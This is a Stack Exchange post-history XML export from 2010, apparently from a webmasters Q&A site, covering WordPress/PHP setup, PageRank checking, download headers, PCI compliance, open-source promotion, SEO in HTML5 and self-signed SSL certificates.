  <row Id="2518" PostHistoryTypeId="5" PostId="1387" RevisionGUID="4f398da0-15f5-40fe-8630-fd148f308daa" CreationDate="2010-07-21T16:40:39.577" UserId="919" Comment="added 719 characters in body; deleted 1 characters in body" Text="Specifically, &#xD;&#xA;&#xD;&#xA; - what are the preferred development tools (free?)&#xD;&#xA; - Are there any good tutorial sites that are up-to-date with the latest version of Wordpress&#xD;&#xA; - Has anyone ever done Wordpress/PHP development using Visual Studio? Is that even possible?&#xD;&#xA;&#xD;&#xA;I am aware of the API documentation on the wordpress site; however it all assumes that the development environment is already set up. I don't even have PHP on my local machine, and have never done any PHP development. &#xD;&#xA;&#xD;&#xA;I *know* that the coding can all be done in Notepad and then uploaded to the server; I was hoping for some substantive advice from someone else who has actually made the jump from .Net to PHP about what tools and tutorials are available to help make the jump.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2519" PostHistoryTypeId="2" PostId="1390" RevisionGUID="4e2186fc-267e-4e33-9262-36778c220ccd" CreationDate="2010-07-21T17:28:38.867" UserId="824" Text="As far as development environments go, [Smashing Magazine has a great lineup][1] of widely-used PHP IDEs that compare their major features. In Windows, I've used both [Notepad++][2] and [Aptana][3].  Aptana had more features and worked pretty well, but it had a bit of a learning curve  (which could be a plus or a minus depending on how patient you are) and Notepad++ was a bit too lightweight for me to consider it a legitimate PHP IDE.&#xD;&#xA;&#xD;&#xA;As for documentation, artlung is absolutely right about the online docs for both Wordpress and PHP. It's the first and last place I always go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2009/02/11/the-big-php-ides-test-why-use-oneand-which-to-choose/&#xD;&#xA;  [2]: http://notepad-plus-plus.org/&#xD;&#xA;  [3]: http://www.aptana.com/" />
  <row Id="2520" PostHistoryTypeId="2" PostId="1391" RevisionGUID="9dcb0f35-4b0b-4e66-b637-90e10553cb35" CreationDate="2010-07-21T17:42:30.433" UserId="925" Text="I am just getting started in SEO, and I want to check the Page Rank of one of my sites. All google docs say to use their toolbar to check Page Rank. However I'm using Chromium. I *could* check with Firefox, but I'm curious if there's a way to check the page rank without using it. I see many sites for checking it, but they all seem a little spammy." />
  <row Id="2521" PostHistoryTypeId="1" PostId="1391" RevisionGUID="9dcb0f35-4b0b-4e66-b637-90e10553cb35" CreationDate="2010-07-21T17:42:30.433" UserId="925" Text="Is it possible to check Page Rank of a site without the Google toolbar?" />
  <row Id="2522" PostHistoryTypeId="3" PostId="1391" RevisionGUID="9dcb0f35-4b0b-4e66-b637-90e10553cb35" CreationDate="2010-07-21T17:42:30.433" UserId="925" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="2525" PostHistoryTypeId="5" PostId="1284" RevisionGUID="559f475a-3e4f-4bd2-9a41-747f66507db1" CreationDate="2010-07-21T18:10:22.890" UserId="527" Comment="fix typo" Text="Your question contains its own answer in the parenthentical comment at the end!. If del.icio.us came to regret cute tricks with their domain name, why would you want to repeat the same mistake?&#xD;&#xA;" />
  <row Id="2526" PostHistoryTypeId="2" PostId="1393" RevisionGUID="20a02c43-8a4c-4974-a459-7d3ef29a52c8" CreationDate="2010-07-21T18:13:29.903" UserId="871" Text="IE has [had trouble][1] with this sort of thing in the past. I feel like ever year or so I need to change around some of the headers associated with documents a browser cannot generally embed. [Cache stuff usually][2]. You are not using https for these transactions perchance? Is it the same .doc file or is it across multiple different .docs? Are you sending the filename in a &quot;[Content-Disposition][3]&quot; header? Strange characters in there could gum up the works.&#xD;&#xA;&#xD;&#xA;These bugs are my personal [Groundhog Day][4]: usually fiddling with the headers are the way to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/49284/file-downloads-in-ie6&#xD;&#xA;  [2]: http://support.microsoft.com/kb/323308&#xD;&#xA;  [3]: http://www.jtricks.com/bits/content_disposition.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Groundhog_Day_%28film%29" />
  <row Id="2527" PostHistoryTypeId="2" PostId="1394" RevisionGUID="137cef66-c33f-4b09-ab70-dc738ee0da42" CreationDate="2010-07-21T18:16:32.223" UserId="236" Text="There are several web apps that can do this for you, I personally use [CubeStat][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cubestat.com/" />
  <row Id="2528" PostHistoryTypeId="5" PostId="1310" RevisionGUID="228132f2-792d-465c-84fc-487c3bd195cd" CreationDate="2010-07-21T18:16:50.710" UserId="55" Comment="added 227 characters in body; added 43 characters in body" Text="I deal more with HIPAA/HITECH compliance than PCI/DSS directly, however, HIPAA also usually necessitates compliance with PCI/DSS. Why? You never know when medical records will contain a front and back photo copy of a credit card. More often than not, they do (sadly). This usually comes from someone just using their card to settle a co-payment. Everything just gets tossed in one folder.&#xD;&#xA;&#xD;&#xA;Embarrassingly, when these records are 'digitized' by third parties, more often than not the resulting (unencrypted) databases contain _clear_ copies of the CC info. Its not as bad as it was a few years ago, but its still a problem. The cause there is not carelessness, its cluelessness.&#xD;&#xA;&#xD;&#xA;A few hospitals have already suffered from this practice, after records were stolen (physically or electronically), resulting in shopping sprees.&#xD;&#xA;&#xD;&#xA;With any standard, a responsible company will look at the ***intent*** behind the standard and  realize the problems the standard is trying to solve. This results (quite often) in ***exceeding*** the requirements of the standard. That is, if, indeed you realize that the standard applies to you :)&#xD;&#xA;&#xD;&#xA;If you have a breach, just one breach and were dishonest about compliance (going back to your question), you will:&#xD;&#xA;&#xD;&#xA; - Never get another merchant account. Just forget about it. You may as well just close down shop, you have no way of getting paid.&#xD;&#xA;&#xD;&#xA; - Be hauled into civil court and have to pay damages&#xD;&#xA;&#xD;&#xA; - Possibly be hauled into criminal court with more serious consequences&#xD;&#xA;&#xD;&#xA; - Enjoy paying for identity protection for every effected person for years to come&#xD;&#xA;&#xD;&#xA;If you were honest, and follow the rules about notification / etc, you will probably get out of it with a bit of a black eye, fix whatever hole was exploited and go back to business as usual. No system is, after all, 100% impervious to compromise. &#xD;&#xA;&#xD;&#xA;You are probably correct in assuming that some companies do not follow the standard. If we assume that, we can also assume that they have been breached and just failed to report it deliberately, or perhaps (due to not complying) they did not realize the breach.&#xD;&#xA;&#xD;&#xA;Visa / MC / Amex are ***very*** good at finding patterns, eventually they will trace a fraudulent trend back to a single vendor, and that vendor will be in quite a bit of trouble. The key here is notify them immediately in the event of a breach, which means following best practices. If they have to 'figure it out' and discover (no pun intended) that you are the common denominator, it can get quite ugly.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2529" PostHistoryTypeId="2" PostId="1395" RevisionGUID="7c6118f2-209b-4545-b86a-c0e12f643656" CreationDate="2010-07-21T18:19:16.023" UserId="693" Text="I am searching for a good recourse where I can advertise my open source project. I have made a web-development framework which I want to make available to download, and I want to target a large audience.&#xD;&#xA;&#xD;&#xA;It is an open source project so I make no money off of it, so I do not really want to pay for advertisement. I already pay for the server where the website runs, and I have spent a lot of time developing it.&#xD;&#xA;&#xD;&#xA;I opened account on various search engines webmaster tools, so people can find it on there.&#xD;&#xA;&#xD;&#xA;I have also made a video-sharing account where I uploaded a few tutorials. This can accumulate some traffic also.&#xD;&#xA;&#xD;&#xA;Can someone recommend any more places to get your work spread." />
  <row Id="2530" PostHistoryTypeId="1" PostId="1395" RevisionGUID="7c6118f2-209b-4545-b86a-c0e12f643656" CreationDate="2010-07-21T18:19:16.023" UserId="693" Text="Where to advertise small open-source projects" />
  <row Id="2531" PostHistoryTypeId="3" PostId="1395" RevisionGUID="7c6118f2-209b-4545-b86a-c0e12f643656" CreationDate="2010-07-21T18:19:16.023" UserId="693" Text="&lt;advertising&gt;&lt;web-development&gt;" />
  <row Id="2532" PostHistoryTypeId="2" PostId="1396" RevisionGUID="deeadb52-3971-4a4b-87af-dc852eb29e56" CreationDate="2010-07-21T18:19:45.850" UserId="707" Text="Your webserver might not be sending the appropriate headers. If memory serves you need to send:&#xD;&#xA;&#xD;&#xA;    Content-Type: application/msword&#xD;&#xA;    Content-Length: &lt;file size in bytes&gt;&#xD;&#xA;    Content-Disposition: attachment; filename=&quot;&lt;file name&gt;&quot;&#xD;&#xA;    Content-Transfer-Encoding: binary&#xD;&#xA;    Cache-Control: must-revalidate, post-check=0, pre-check=0&#xD;&#xA;&#xD;&#xA;If this doesn't do the trick try adding a Pragma and Expires header." />
  <row Id="2533" PostHistoryTypeId="2" PostId="1397" RevisionGUID="81eef752-40ee-454c-ba27-e11f1af51b6d" CreationDate="2010-07-21T18:20:47.987" UserId="871" Text="If you are looking to get a PHP environment locally, take a look at: [XAMPP for Windows][1]. That will give you Apache/MySQL/PHP, sort of a WebApp Holy Trinity: you will be hard pressed to do any one without the others.  &#xD;&#xA;&#xD;&#xA;Code it locally, I cannot imagine the pain of a development cycle involving an &quot;upload to server&quot; step. It is cross platform enough that you will be able to develop in Windows but host on Unix. You could host it using the same technologies for Windows too, but don't tell anyone I said that.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apachefriends.org/en/xampp-windows.html" />
  <row Id="2534" PostHistoryTypeId="2" PostId="1398" RevisionGUID="fb7a9842-f3e1-4fe2-955d-1f98e3faba7b" CreationDate="2010-07-21T18:30:56.127" UserId="18" Text="I've been using [IMified.com][1] for a little while to do stuff similar to that and I've found it to work well. It allows you to receive SMS (or Twitter and IM messages) as HTTP POSTs and your web server's response is sent as a reply. They also offer a web service that can be used to [initiate conversation and send messages][2].&#xD;&#xA;&#xD;&#xA;While I was looking for other options I came across [Zeep Mobile][3] which has an API for sending and receiving SMS. It is either free and ad supported or available for a montly fee. I have not tried it, but it looks quite interesting.&#xD;&#xA;&#xD;&#xA;Those two options are both free, but do provide for contacting users outside of the United States. If you need to do that I'd recommend an SMS Gateway like [ClickATell][4].&#xD;&#xA;&#xD;&#xA;Best of luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imified.com&#xD;&#xA;  [2]: http://www.imified.com/developers/api#sendmessage&#xD;&#xA;  [3]: http://www.zeepmobile.com/&#xD;&#xA;  [4]: http://www.clickatell.com/" />
  <row Id="2535" PostHistoryTypeId="16" PostId="1398" RevisionGUID="fb7a9842-f3e1-4fe2-955d-1f98e3faba7b" CreationDate="2010-07-21T18:30:56.127" UserId="-1" />
  <row Id="2536" PostHistoryTypeId="2" PostId="1399" RevisionGUID="3b315710-6107-4673-8dfa-93970adbab38" CreationDate="2010-07-21T18:38:56.810" UserId="26" Text="I see some text-heavy sites implement the little JavaScript widgets that allow you to choose smaller or larger text sizes on sites. (e.g.: [as described on the Guardian's website][1])&#xD;&#xA;&#xD;&#xA;Are these little widgets worth the screen real estate they take up? If you have them on a site you webmaster, do you run any metrics to see if they are used?&#xD;&#xA;&#xD;&#xA;Thoughts and studies on the usefulness of these widgets would be welcome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.guardian.co.uk/help/accessibility#text-resizing" />
  <row Id="2537" PostHistoryTypeId="1" PostId="1399" RevisionGUID="3b315710-6107-4673-8dfa-93970adbab38" CreationDate="2010-07-21T18:38:56.810" UserId="26" Text="Font resizing widgets: worth it?" />
  <row Id="2538" PostHistoryTypeId="3" PostId="1399" RevisionGUID="3b315710-6107-4673-8dfa-93970adbab38" CreationDate="2010-07-21T18:38:56.810" UserId="26" Text="&lt;javascript&gt;&lt;accessibility&gt;&lt;typography&gt;&lt;fonts&gt;" />
  <row Id="2539" PostHistoryTypeId="2" PostId="1400" RevisionGUID="376d5b77-54e8-42a5-a50c-a8473f18dfa1" CreationDate="2010-07-21T18:40:06.573" UserId="432" Text="NASA and PBS use Django all over the place." />
  <row Id="2540" PostHistoryTypeId="2" PostId="1401" RevisionGUID="03654eb6-e9fc-48c4-9044-079bff1efc5b" CreationDate="2010-07-21T18:56:19.490" UserId="934" Text="I'm in the process of designing a (soon-to-be) rather large PHP/MySQL web application. I've come to a fork in the road as far as internal architecture; I can build the website as a &quot;traditional&quot; web application where, when you make a request, the server builds you an HTML page, sends you the whole page, and the browser renders it, or, I can build it as a &quot;separated&quot; web application where the entire HTML structure and code of the application is provided to the browser upon initial load, and the application uses JavaScript callbacks to get specific data or issue commands via a unified API. Also, I intend for there to be multiple versions of the site (desktop, mobile, iPhone/Android mobile, search-engine friendly, etc..) and at some point, perhaps even standalone mobile or desktop apps as well.&#xD;&#xA;&#xD;&#xA;What advantages/disadvantages have you, as web developers, run into with each of these architectures? Is there a clear reason why I should go with one over the other? Is it more of a developers'-preference thing?" />
  <row Id="2541" PostHistoryTypeId="1" PostId="1401" RevisionGUID="03654eb6-e9fc-48c4-9044-079bff1efc5b" CreationDate="2010-07-21T18:56:19.490" UserId="934" Text="Advantages/disadvantages of &quot;separated&quot; web applications" />
  <row Id="2542" PostHistoryTypeId="3" PostId="1401" RevisionGUID="03654eb6-e9fc-48c4-9044-079bff1efc5b" CreationDate="2010-07-21T18:56:19.490" UserId="934" Text="&lt;javascript&gt;&lt;web-development&gt;&lt;mvc&gt;" />
  <row Id="2543" PostHistoryTypeId="2" PostId="1402" RevisionGUID="dc661aee-c6c1-4000-b47b-e86a545987ba" CreationDate="2010-07-21T18:57:04.387" UserId="110" Text="I say no, because the users around my office that prefer a larger font have it already set larger by default everywhere.  They don't click those things any more often than I do.&#xD;&#xA;&#xD;&#xA;It is far more important to make sure you sizes scale properly without blowing up your design, and assume a good percent of your users come to the site with something other than the default font size." />
  <row Id="2544" PostHistoryTypeId="2" PostId="1403" RevisionGUID="39826ca3-965f-42af-8a1a-b1355ad626c8" CreationDate="2010-07-21T19:00:58.030" UserId="108" Text="I think the most important thing is to make sure your sizes scale no matter if the user does it through a JavaScript widget you add or through a the browsers default support.&#xD;&#xA;&#xD;&#xA;As for adding it or not, I think it depends on your targeted demographic.  If you site is build for tech savvy people, I would definitely say no. If your site is built for older people who may not be so tech savvy, like online news sites or things like that then I would say yes it would be of use.  Many times less savvy users won't know they can enlarge their text as a browser default and so they either struggle with the site or pass over it for ones with those options." />
  <row Id="2545" PostHistoryTypeId="2" PostId="1404" RevisionGUID="9a077510-c6fd-4822-8158-992062d69900" CreationDate="2010-07-21T19:01:35.843" UserId="745" Text="Part of advertising for open source projects is usually in where you host the code (this can be separate from your project site). SourceForge, GitHub, Google Code, etc all have search and project listings and that is one way you can grow a community. If you're looking for community involvement, try posting on [StackOverflow's open source advertising thread][1].&#xD;&#xA;&#xD;&#xA;Beyond that, however, the best method of advertising (after having a useful project) is having a useful project site. Clear documentation, screenshots, demos, videos, testimonials, etc are all essential to having a successful project that's worth advertising. Encouraging your community is important as well. By providing ways for feedback, support, and contribution, you'll help grow your community. You can do that through having a bug tracker, public source control, forums, etc. A blog is also a very big deal. There are a ton of programming/tech/development related social media sites like [dZone][2], [yCombinator][3], [Reddit's programming section][4], etc. that will allow you or your community to post updates. Provide widgets on some or all of your pages to facilitate sharing on various social media sites.&#xD;&#xA;&#xD;&#xA;In short: Have a useful project, host the code at the right place, have a helpful website, grow your community, keep your community informed, and make it easy to share.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/53346/open-source-advertising-sidebar-2h-2010&#xD;&#xA;  [2]: http://www.dzone.com/links/index.html&#xD;&#xA;  [3]: http://news.ycombinator.com/&#xD;&#xA;  [4]: http://www.reddit.com/r/programming" />
  <row Id="2546" PostHistoryTypeId="2" PostId="1405" RevisionGUID="7842824b-e718-41bf-8545-5f9153359605" CreationDate="2010-07-21T19:06:56.647" UserId="343" Text="I think the idea of a &quot;separated&quot; application that relies heavily on JavaScript/AJAX is going to get you into a lot of trouble.  A few things off the top of my head:&#xD;&#xA;&#xD;&#xA;1.  It's going to be bad for SEO since Google will have a hard time indexing anything.&#xD;&#xA;2.  It's going to be hard to make it &quot;bookmarkable&quot;&#xD;&#xA;3.  You'll have a hard time with mobile devices as many of them have very limited (or broken) javascript support." />
  <row Id="2547" PostHistoryTypeId="2" PostId="1406" RevisionGUID="ecbcdcb9-e263-4906-8150-9d0c6051fc1a" CreationDate="2010-07-21T19:08:53.863" UserDisplayName="Dan" Text="If you have a ton of time and an itch that won't go away - yeah, roll your own. Otherwise install WordPress (&quot;[famous 5 minutes install][1]&quot;) and give yourself 2 hours... that's all you should need to get a very good idea.&#xD;&#xA;&#xD;&#xA;I wanted to post a couple of comments in reply to earlier replies - you can definitely build websites which are &quot;pages&quot; with WP not just blogs (and it's very good for building websites with integrated blogs), and agree @intlect's comment about themes. There can be a huge difference in the quality of some themes (also a good place to learn/see how WP works) - I've been bitten a couple of times also upgrading WP to find the theme isn't compatible with the newer version (and then you find out how good the developer's support is).&#xD;&#xA;&#xD;&#xA; [1]: http://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install" />
  <row Id="2548" PostHistoryTypeId="2" PostId="1407" RevisionGUID="ab2ec44f-50ea-4fed-9f3c-11a0a3858dfb" CreationDate="2010-07-21T19:09:35.923" UserId="914" Text="There's a few website based solutions you could try, such as:&#xD;&#xA;&#xD;&#xA; - http://www.prchecker.info/check_page_rank.php&#xD;&#xA;   &#xD;&#xA; - http://www.selfseo.com/check_google_pagerank.php&#xD;&#xA;   &#xD;&#xA; - http://pagerank.gbscript.com/" />
  <row Id="2549" PostHistoryTypeId="2" PostId="1408" RevisionGUID="256587cb-2f79-49e9-a4d2-4dcc88bc5d46" CreationDate="2010-07-21T19:15:51.197" UserId="922" Text="Please recommend good open source engines or CMS or similar that I can use to implement a web application for headhunters and job applications?&#xD;&#xA;&#xD;&#xA;At very minimum, should have ability or support:&#xD;&#xA;&#xD;&#xA; 1. **Head hunters section**, to allow for posting of job opportunities, create profiles, view job applications&#xD;&#xA; 2. **Job applicant section**, to allow submitting of applications including uploading CV/Resume or creating online version&#xD;&#xA; 3. **Asp.net/Server** support preferred&#xD;&#xA; 4. Support some form of OpenId for user registration or authentication" />
  <row Id="2550" PostHistoryTypeId="1" PostId="1408" RevisionGUID="256587cb-2f79-49e9-a4d2-4dcc88bc5d46" CreationDate="2010-07-21T19:15:51.197" UserId="922" Text="Good open source engines to create a Jobs web app" />
  <row Id="2551" PostHistoryTypeId="3" PostId="1408" RevisionGUID="256587cb-2f79-49e9-a4d2-4dcc88bc5d46" CreationDate="2010-07-21T19:15:51.197" UserId="922" Text="&lt;web-development&gt;" />
  <row Id="2552" PostHistoryTypeId="2" PostId="1409" RevisionGUID="707beac3-67b4-4b7e-b751-70da1fcec717" CreationDate="2010-07-21T19:17:31.913" UserId="108" Text="First off, whether you go with an Asynchronous heavy website or not won't have much affect on your ability to build iPhone/Mobile and desktop apps because it has nothing to do with them. Either way you won't be able to reuse your code.&#xD;&#xA;&#xD;&#xA;Also, Asynchronous sites can be just as slow or slower than normal sites.  Usually, that kind of functionality is added for a reason, specifically for enriched user experience.  Using JavaScript tends to hurt you on SEO because webcrawlers cannot fully understand the intent of the JavaScript and so ignore it mostly.&#xD;&#xA;&#xD;&#xA;I think what you are looking for is a way to reduce your development overhead by only writing your functional(middle) tier once and using the same one for all of your apps.  In this case I think there is value but frankly these kinds of architectures are harder to setup and take a lot of time. I would be of the opinion that you should develop your website as best you can and keep your middle tier code as strong as you can.  That way when it comes time to add an iPhone app or whatever you will be able to move to a model with a common middle level more easily&#xD;&#xA;&#xD;&#xA;What I am really advocating here is taking baby steps.  Don't try to write code now to handle things you don't know about yet.  Just write the code you need and make it as flexible as possible." />
  <row Id="2553" PostHistoryTypeId="2" PostId="1410" RevisionGUID="649c0e46-c2a0-4995-8fdd-fb67736b1918" CreationDate="2010-07-21T19:18:32.363" UserId="180" Text="As far as I know, there is currently [no way of doing this via an API][1], though there are some hacks (and many sites that will report on this for you).  Use your favourite search engine to search for &quot;my pagerank&quot; for a long list of sites.&#xD;&#xA;&#xD;&#xA;Be aware that raw PageRank doesn't really mean a lot in terms of position in the SERPs; it's more bragging rights than anything.  It is only one of may factors that Google uses to determine relevance, authority, trust, etc.&#xD;&#xA;&#xD;&#xA;Have a look at this [analysis of Google's Reasonable Surfer patent][2] for an analysis of some of the factors that Google considers for relevance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1344917/getting-google-pagerank-via-an-api-php&#xD;&#xA;  [2]: http://www.seobythesea.com/?p=3806" />
  <row Id="2554" PostHistoryTypeId="2" PostId="1411" RevisionGUID="806dc3ac-5d28-4c12-984a-612b0ab2bf72" CreationDate="2010-07-21T19:21:31.013" UserId="172" Text="The [StackExchange platform][1] ;) ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackexchange.com/" />
  <row Id="2555" PostHistoryTypeId="2" PostId="1412" RevisionGUID="9148ec8c-4f1a-4ee0-8879-ececac11a902" CreationDate="2010-07-21T19:23:35.330" UserDisplayName="Dan" Text="37signals works because everyone speaks it as &quot;thirty seven signals&quot; and the natural reaction for most is to write larger numbers as digits.&#xD;&#xA;&#xD;&#xA;Single digits may be more problematic - 7monkeys or sevenmonkeys? A friend used the domain [2nlight.net][1] a few years ago. He loved it until he had to announce it on the telephone.&#xD;&#xA;&#xD;&#xA;  [1]: http://2nlight.net" />
  <row Id="2556" PostHistoryTypeId="2" PostId="1413" RevisionGUID="3d370651-5568-40cd-a507-b494dc08dc1c" CreationDate="2010-07-21T19:24:20.990" UserId="480" Text="What are the rules of engagement with respect to SEO in HTML 5?&#xD;&#xA;&#xD;&#xA;Examples of things we have been mulling over with no conclusion:&#xD;&#xA;&#xD;&#xA;- Are you penalised for not using &amp;lt;head&amp;gt; and &amp;lt;body&amp;gt; tags?&#xD;&#xA;&#xD;&#xA;- Do links in &amp;lt;nav&amp;gt; blocks get prioritised for follows?&#xD;&#xA;&#xD;&#xA;- With &amp;lt;aside&amp;gt; (no bside though), &amp;lt;section&amp;gt;, &amp;lt;summary&amp;gt; and &amp;lt;details&amp;gt; which ones carry the most weight for content, one-liner descriptions and keyword tags?&#xD;&#xA;&#xD;&#xA;- If you use CSS to put a &amp;lt;footer&amp;gt; element at the top and a &amp;lt;header&amp;gt; element at the bottom (not that you would but it may be construed as such by an incomplete spider implementation)?&#xD;&#xA;&#xD;&#xA;- Does the use of placeholder attributes on &amp;lt;input&amp;gt; show you are more user focused?&#xD;&#xA;&#xD;&#xA;At the minute we are haphazardly pinning the content on the donkey with regard to tag usage but would be interesting to know if anyone has any insight into the &quot;correct&quot; tags to use with regards to SEO." />
  <row Id="2557" PostHistoryTypeId="1" PostId="1413" RevisionGUID="3d370651-5568-40cd-a507-b494dc08dc1c" CreationDate="2010-07-21T19:24:20.990" UserId="480" Text="What the SEO rules for HTML 5?" />
  <row Id="2558" PostHistoryTypeId="3" PostId="1413" RevisionGUID="3d370651-5568-40cd-a507-b494dc08dc1c" CreationDate="2010-07-21T19:24:20.990" UserId="480" Text="&lt;seo&gt;&lt;html5&gt;&lt;markup&gt;" />
  <row Id="2559" PostHistoryTypeId="2" PostId="1414" RevisionGUID="8ff6ebde-a2a6-45dd-8793-6993a6653d70" CreationDate="2010-07-21T19:25:22.563" UserId="745" Text="PageRank is a fairly useless metric to chase and I wouldn't bother with it. With that caveat, if you know PHP and have a host that supports it, check out this tutorial:&#xD;&#xA;http://bohuco.net/blog/2010/07/google-ranking-checker-class-in-php/" />
  <row Id="2560" PostHistoryTypeId="2" PostId="1415" RevisionGUID="60fa9c1a-1956-4d9f-bf2b-10c2a5822674" CreationDate="2010-07-21T19:30:41.677" UserId="480" Text="In order to be able to re-use code you can always look at XSLT for the generation of landing pages and then have XML/JSON interfaces for AJAX.&#xD;&#xA;&#xD;&#xA;You would normally allow the content and interaction to work on a RESTful interface with a /json/... and /xml/... prefix and host your main content, converted into mark-up via XSLT on /...&#xD;&#xA;&#xD;&#xA;This way people can land on any page and suddenly have the full blown AJAX website. Spiders can crawl your site and you have concentrated on the content/interfaces first and foremost - seems like a win/win.&#xD;&#xA;&#xD;&#xA;Mobile websites sometimes need different layouts (bespoke iPhone only sites anyone?) a simple XSLT conversion here or there for different user clients can re-use everything you've done so far.&#xD;&#xA;&#xD;&#xA;Remember to design for simple HTML output and navigation, the AJAX simplifications can follow.&#xD;&#xA;&#xD;&#xA;*PS - Do the XSLT transformations server side*" />
  <row Id="2561" PostHistoryTypeId="5" PostId="1410" RevisionGUID="a553b1ac-3f99-4a9f-aa92-007b6428d349" CreationDate="2010-07-21T19:32:59.723" UserId="180" Comment="added 177 characters in body" Text="As far as I know, there is currently [no way of doing this via an API][1], though there are some hacks (and many sites that will report on this for you).  Use your favourite search engine to search for &quot;my pagerank&quot; for a long list of sites.&#xD;&#xA;&#xD;&#xA;Be aware that raw PageRank doesn't really mean a lot in terms of position in the SERPs; it's more bragging rights than anything.  It is only one of may factors that Google uses to determine relevance, authority, trust, etc.&#xD;&#xA;&#xD;&#xA;Have a look at this [analysis of Google's Reasonable Surfer patent][2] for some of the factors that Google considers for relevance.  There are many other tidbits / clues out there for other factors, but going down the garden path of trying to understand Google is a recipe for LOTS of hard work and, ultimately, insanity :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1344917/getting-google-pagerank-via-an-api-php&#xD;&#xA;  [2]: http://www.seobythesea.com/?p=3806" />
  <row Id="2562" PostHistoryTypeId="2" PostId="1416" RevisionGUID="b92a9c47-c6ea-473b-9d10-460f0864091e" CreationDate="2010-07-21T19:33:58.223" UserId="172" Text="SSL certificates are pretty expensive for individuals, especially if you need to secure different subdomains. I am considering using self-signed certificates, as my primary focus is to secure the connection, and not to authenticate myself.&#xD;&#xA;&#xD;&#xA;However, several browsers display nasty warnings when encountering such a certificate. Would you discourage the use of self-signed certificates (for example for small web application or the admin page of a small website) ? Or is it OK in some cases ?" />
  <row Id="2563" PostHistoryTypeId="1" PostId="1416" RevisionGUID="b92a9c47-c6ea-473b-9d10-460f0864091e" CreationDate="2010-07-21T19:33:58.223" UserId="172" Text="Is it a bad practice to use self-signed SSL certificates ?" />
  <row Id="2564" PostHistoryTypeId="3" PostId="1416" RevisionGUID="b92a9c47-c6ea-473b-9d10-460f0864091e" CreationDate="2010-07-21T19:33:58.223" UserId="172" Text="&lt;best-practice&gt;&lt;ssl&gt;&lt;certificate&gt;&lt;self-signed&gt;" />
  <row Id="2565" PostHistoryTypeId="2" PostId="1417" RevisionGUID="17be9c0f-d372-4d59-be73-9836b5147d48" CreationDate="2010-07-21T19:42:30.633" UserId="745" Text="Give HTML5 some time to mature and gain wide acceptance and you *might* have some specific guidelines for SEO, but I don't think it will differ much from what's currently considered good practice. Either way, I think it's a little too early.&#xD;&#xA;&#xD;&#xA;In general, if it's good for your users, it will be good for SEO. Make your site accessible and usable. Use a good linking strategy and good anchor text, target the right keywords, etc.&#xD;&#xA;&#xD;&#xA;While it's not HTML5, you might be interested in [microformats][1] and [RDFa][2], which [Google][3] and [Yahoo][4] both support (Bing isn't there yet). Note, however, that while Google and Yahoo both support structured data formats, using them doesn't necessarily mean that you'll rank better. At this point, it seems more like a way to manipulate the appearance of your search engine listing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/&#xD;&#xA;  [2]: http://rdfa.info/&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2009/05/introducing-rich-snippets.html&#xD;&#xA;  [4]: http://www.ysearchblog.com/blog/2006/06/21/we-now-support-microformats/" />
  <row Id="2566" PostHistoryTypeId="2" PostId="1418" RevisionGUID="79ebdb55-58cc-4998-a6ab-20b5b4191a98" CreationDate="2010-07-21T19:44:47.773" UserId="43" Text="This doesn't easily satisfy point #3, but that could possibly all be done with Wordpress.  It would involve a fair bit of customization, but with the release of custom post types in 3.0, it should be feasible." />
  <row Id="2567" PostHistoryTypeId="2" PostId="1419" RevisionGUID="c91547cb-b1b0-4a63-8538-8e9fb4e80877" CreationDate="2010-07-21T19:46:40.297" UserId="108" Text="In general it is bad to use a self signed cert.  If you do that then you are running the risk people will leave your site when they get a warning about your cert being bad.  More important, you are running a larger risk of having someone do an injection attack where they use their own self-signed cert in the place of yours and the visitor will not know any better.&#xD;&#xA;&#xD;&#xA;Check out the article here, http://www.sslshopper.com/article-when-are-self-signed-certificates-acceptable.html for a little more info on it.&#xD;&#xA;&#xD;&#xA;As Adam suggested in the comments, I would try http://www.startssl.com/?app=1.  If that doesn't suit your needs I know GoDaddy sells certs for as low as $24.99/yr here, http://www.godaddy.com/ssl/ssl-certificates.aspx?ci=9039. " />
  <row Id="2568" PostHistoryTypeId="2" PostId="1420" RevisionGUID="9780e2b2-fcf9-4793-9627-8b0abbab13fc" CreationDate="2010-07-21T20:00:37.597" UserId="26" Text="I'd consider [**Github**][1]. That will give you easy version control and a great way to get contributions back from other users.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/" />
  <row Id="2569" PostHistoryTypeId="2" PostId="1421" RevisionGUID="f9a15c04-25be-4892-ab90-f3619ea23bba" CreationDate="2010-07-21T20:01:39.887" UserId="108" Text="There are 4 that I know of that let you host open source code:&#xD;&#xA;&#xD;&#xA; 1. http://bitbucket.org/ &#xD;&#xA; 2. http://github.com/ &#xD;&#xA; 3. http://www.codeplex.com/&#xD;&#xA; 4. http://sourceforge.net/&#xD;&#xA;&#xD;&#xA;These sites serve both as a place to host your code and as a way to advertise because they get so much traffic and you can include documentation which will make you show up more often in SEO results.&#xD;&#xA;&#xD;&#xA;Also, checkout these sites for pure advertising:&#xD;&#xA;&#xD;&#xA; - http://freshmeat.net/&#xD;&#xA; - http://openshare.emotionull.com/&#xD;&#xA; " />
